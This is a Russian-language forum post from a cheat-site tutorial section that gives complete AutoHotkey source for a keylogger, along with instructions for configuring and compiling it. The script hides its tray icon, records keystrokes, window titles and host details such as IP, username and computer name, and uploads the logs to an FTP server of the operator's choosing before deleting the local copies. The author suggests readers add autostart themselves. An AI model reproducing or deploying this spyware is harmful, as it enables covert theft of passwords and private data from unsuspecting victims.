  | 
	
		
	
	
		Кейлоггер на AHK с отправкой логгов на FTP - Школа Читера - Основы основ - начинаем писать статьи для начинающих с целью создания полноценного раздела | 
	 
	 
	
	
	
	
	
	
	
	
	
	
	
		 
	 
 
	
	
		
	
	
    
        
            
             
            07.05.2011, 16:21
            
            
         | 
        
             
            #1
            
         | 
    
 
    
    
  
    | 
    
     | 
     
  
    | 
    
     | 
    
    
     | 
   
  
    
        Разведчик  
     | 
     
 
    
      
  
            
    
      
    
            
                 Регистрация: 11.12.2010  
                
                
                
                 Сообщений: 2
                   
 Популярность: 16  
                  
	 Сказал(а) спасибо: 0  
	
		
			
				Поблагодарили 3 раз(а) в 3 сообщениях
			
		
	 
     
 
             
                
               
                
       
                  
     | 
    
    
    
        
        
            
            
                 
                Кейлоггер на AHK с отправкой логгов на FTP
             
             
            
        
        
        
            
               
    Для создания потребуется:  
-AHK(Autohotkey) 
-Хостинг с доступом по ftp 
-руки (2 штуки) 
-Мозги
 
для начала создаём файл с названием допустим keylogger.ahk 
Жмём правой кнопкой мыши по нему и выбираем Edit Script 
Затем вставляем туда следущий код:
 
	Код: 
	#NoTrayIcon
;#############################Параметры FTP###############################
Server = 127.0.0.1 ; хост
Port = 21 ; порт
User = user ; юзер
Pwd = password ; пароль
Directory1 = / ; папка на хосте, куда грузить файлы
;############################################################
;############################Узнаём сколько времени и аптайм################################
TTMilliseconds := A_TickCount 
TTSeconds := A_TickCount // 1000 
TTMinutes := A_TickCount // 60000
TTHours := A_TickCount // 3600000
TTDays := A_TickCount // 86400000
TTWeeks := A_TickCount // 604800000
 
Milliseconds := TTMilliseconds - (1000 * (TTMilliseconds // 1000)) 
Seconds := TTSeconds - (60 * (TTSeconds // 60)) 
Minutes := TTMinutes - (60 * (TTMinutes // 60)) 
Hours := TTHours - (24 * (TTHours // 24)) 
Days := TTDays - (7 * (TTDays // 7)) 
Weeks := TTWeeks - (52 * (TTWeeks // 52)) 
 
If Weeks >= 1 
  Wc = %Weeks% нед.  
If Days >= 1 
  Dc = %Days% дн.
If Hours >= 1 
  Hc = %Hours% ч. 
If Minutes >= 1 
  Mc = %Minutes% мин. 
If Seconds >= 1 
  Sc = %Seconds% сек. 
 
UpTime = %Wc% %Dc% %Hc% %Mc% %Sc%
;############################################################ 
;##############################Создаём "Шаблон" лога##############################
Loop { 
FormatTime, CurrentDateTime,, M-d-yyyy_HH-mm tt 
FileAppend, Ip адрес машины => %A_IPAddress1% `n,  %TEMP%\%CurrentDateTime%.txt
FileAppend, Тип ОС => %A_OSType% `n,  %TEMP%\%CurrentDateTime%.txt
FileAppend, Версия ОС => %A_OSVersion% `n,  %TEMP%\%CurrentDateTime%.txt
FileAppend, Сетевое имя компьютера => %A_ComputerName% `n,  %TEMP%\%CurrentDateTime%.txt
FileAppend, Имя пользователя => %A_UserName% `n,  %TEMP%\%CurrentDateTime%.txt
FileAppend, Размер экрана => %A_ScreenWidth% на %A_ScreenHeight% `n,  %TEMP%\%CurrentDateTime%.txt
FileAppend, Время работы системы => %UpTime% `n,  %TEMP%\%CurrentDateTime%.txt
WinGetActiveTitle, OutputVar
FileAppend, Текущий заголовок окна => %OutputVar% `n, %TEMP%\%CurrentDateTime%.txt
Loop 200{
Input, SingleKey, B C L1 V
WinGetActiveTitle, OutputVar2
if (OutputVar2  =  OutputVar){
}else{
FileAppend, `nТекущий заголовок окна => %OutputVar2% `n, %TEMP%\%CurrentDateTime%.txt
OutputVar  :=  OutputVar2
}
FileAppend, %SingleKey%, %TEMP%\%CurrentDateTime%.txt
}
;############################################################
;#############################Загружаем лог на FTP############################### 
LocalFile = %TEMP%\%CurrentDateTime%.txt ; файл для загрузки
IfNotExist, %LocalFile%
{
       Exit, 1                                                              
}
if (not INetStart())
{
      Exit, 1
}
hConnection := INetConnect(Server, Port, User, Pwd, "ftp", 1)
if (hConnection)
{
    Error = 0
    UploadFile(hConnection, Directory1, LocalFile)
     Sleep, 1
FileDelete, %TEMP%\%CurrentDateTime%.txt
}
else
{
  
       INetStop()
    Exit, 1
}
 Sleep, 1
}
;############################################################
UploadFile(hConnection, Directory, LocalFile)
{
    if (ChangeDirectory(hConnection, Directory))
    {
        SplitPath, LocalFile, RemoteFile
        if (FtpPutFile(hConnection, LocalFile, RemoteFile))
        {
            Return, true
        }
        else
        {
            MsgBox, Cannot upload file into %Directory%.
            Return, false
        }
    }
    else
    {
        MsgBox, Could not create or change to remote directory %Directory%.
        Return, false
    }
}
 
 
 
ChangeDirectory(hConnection, Directory)
{
    if (FtpSetCurrentDirectory(hConnection, Directory))
    {
        Return, true
    }
    else
    {
        if (FtpCreateDirectory(hConnection, Directory))
        {
            if (FtpSetCurrentDirectory(hConnection, Directory))
            {
                Return, true
            }
            else
            {
                MsgBox, Cannot change to remote directory %Directory%.
                Return, false
            }
        }
        else
        {
            MsgBox, Cannot create remote directory %Directory%.
            Return, false
        }
        MsgBox, Cannot change to remote directory %Directory%.
        Return, false
    }
}
 
 
INetStart(Proxy="", ProxyBypass="", Agent="")
{
   global
 
   inet_hModule := DllCall("LoadLibrary", "str", "wininet.dll")
   if(!inet_hModule) {
      inet_hModule = 0
      return false
   }
 
 
 
 
 
   inet_hInternet := DllCall("wininet\InternetOpenA"
      , "str", (Agent != "" ? Agent : A_ScriptName)
      , "UInt", (Proxy != "" ? 3 : 1)
      , "str", Proxy
      , "str", ProxyBypass
      , "UInt", 0)
   If(!inet_hInternet) {
      INetCloseHandle(inet_hModule)
      return false
   }
   return true
}
 
INetStop()
{
   global
   INetCloseHandle(inet_hInternet)
   DllCall("FreeLibrary", "UInt", inet_hModule)
   inet_hModule = inet_hInternet = 0
}
 
INetCloseHandle(hInternet)
{
   return DllCall("wininet\InternetCloseHandle", "UInt", hInternet)
}
 
INetConnect(Server, Port, Username="anonymous", Password="anonymous", Service="http", FtpPassive=0)
{
 
   global inet_hInternet
   hConnection := DllCall("wininet\InternetConnectA"
      , "uint", inet_hInternet
      , "str", Server
      , "uint", Port
      , "str", Username
      , "str", Password
      , "uint", (Service = "ftp" ? 1 : (Service = "gopher" ? 2 : 3))
      , "uint", (FtpPassive != 0 ? 0x08000000 : 0)
      , "uint", 0)
   return hConnection
}
FtpCreateDirectory(hConnection, Directory)
{
   return DllCall("wininet\FtpCreateDirectoryA", "uint", hConnection, "str", Directory)
}
FtpSetCurrentDirectory(hConnection, Directory)
{
   return DllCall("wininet\FtpSetCurrentDirectoryA", "uint", hConnection, "str", Directory)
}
FtpGetCurrentDirectory(hConnection, ByRef @Directory)
{
   len := 261
   VarSetCapacity(@Directory, len)
 
   result := DllCall("wininet\FtpGetCurrentDirectoryA", "uint", hConnection, "str", @Directory, "uint*", len)
   VarSetCapacity(@Directory, -1)
   return result
}
 
FtpPutFile(hConnection, LocalFile, RemoteFile="", TransferType="B")
{
   return DllCall("wininet\FtpPutFileA"
      , "uint", hConnection
      , "str", LocalFile
      , "str", (RemoteFile != "" ? RemoteFile : LocalFile)
      , "uint", (TransferType == "A" ? 1 : 2)
      , "uint", 0)
 
}
 
FtpDeleteFile(hConnection, File)
{
   return DllCall("wininet\FtpDeleteFileA", "uint", hConnection, "str", File)
}
 теперь разберём его настройку
 
Server = 127.0.0.1 ; хост  //Вводим хост FTP 
Port = 21 ; порт  //Порт для подключения по FTP (по стандарту почти везде 21) 
User = user ; юзер   // Логин от FTP 
Pwd = password ; пароль   //Пароль от FTP 
Directory1 = / ; папка на хосте, куда грузить файлы  //Куда грузить логи (на некоторых хостингах нужно добавить public_html, т.е Directory1 = public_html/ ; )
 
Затем компилируем всё это добро 
ПКМ - Compile Script 
Вуаля, кейлоггер готов
 
Минусы: 
-Не добавляется в автозагрузку (кому надо сами сделайте) 
-Палится антивирусами (вроде, не проверял точно)
 
Присылается отчёт вида
 
	Код: 
	Время: %
Ip адрес машины =>  %
Тип ОС => %
Версия ОС => %
Сетевое имя компьютера => %
Имя пользователя => %
Размер экрана => %
Время работы системы => %
Текущий заголовок окна => %
Текст, что введён в этом окне
Текущий заголовок окна => %
Текст 
 Кейлоггер перехватывает 200 символов и вырубается 
Для того, чтобы изменить это значение изменяем строку:
 
Loop 200{
 
Фух, всё вроде расписал 
При копировании просьба указывать источник (хотя кому оно надо)
     
          
        
        
        
        
        
        
        
     | 
 
    | 
        
        
        
        
         
     | 
    
    
    
        
        
        
        
             
        
        
        
        
        
        
        
            
        
        
        
     | 
 
 
 
	
		
			| 
				
					Пользователь сказал cпасибо:
				
				
				
			 | 
			 | 
		 
	 
  
  
	 
	
		 
	 
 
 
	
		
	
	
	
	
	
		
	
		 
		Ваши права в разделе
	 | 
 
	
		
		Вы не можете создавать новые темы 
		Вы не можете отвечать в темах 
		Вы не можете прикреплять вложения 
		Вы не можете редактировать свои сообщения 
		 
		
		
		
		
		HTML код Выкл. 
		 
		
	  | 
 
 
	 | 
	
		
	 | 
 
 
	
		
			 
			Похожие темы
		 | 
	 
	| Тема | 
	Автор | 
	Раздел | 
	Ответов | 
	Последнее сообщение | 
 
	| 
		
		 Интервал между отправкой
	 | 
	Fatov | 
	Скрипты и перехват пакетов | 
	3 | 
	03.07.2010 14:10 | 
 
	| 
		
		[Помогите!] Кейлоггер
	 | 
	главный овощ | 
	Общение и обсуждение Perfect World | 
	5 | 
	27.03.2010 23:55 | 
 
 
 
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 09:03. 
		 
	 
 
 | 
  |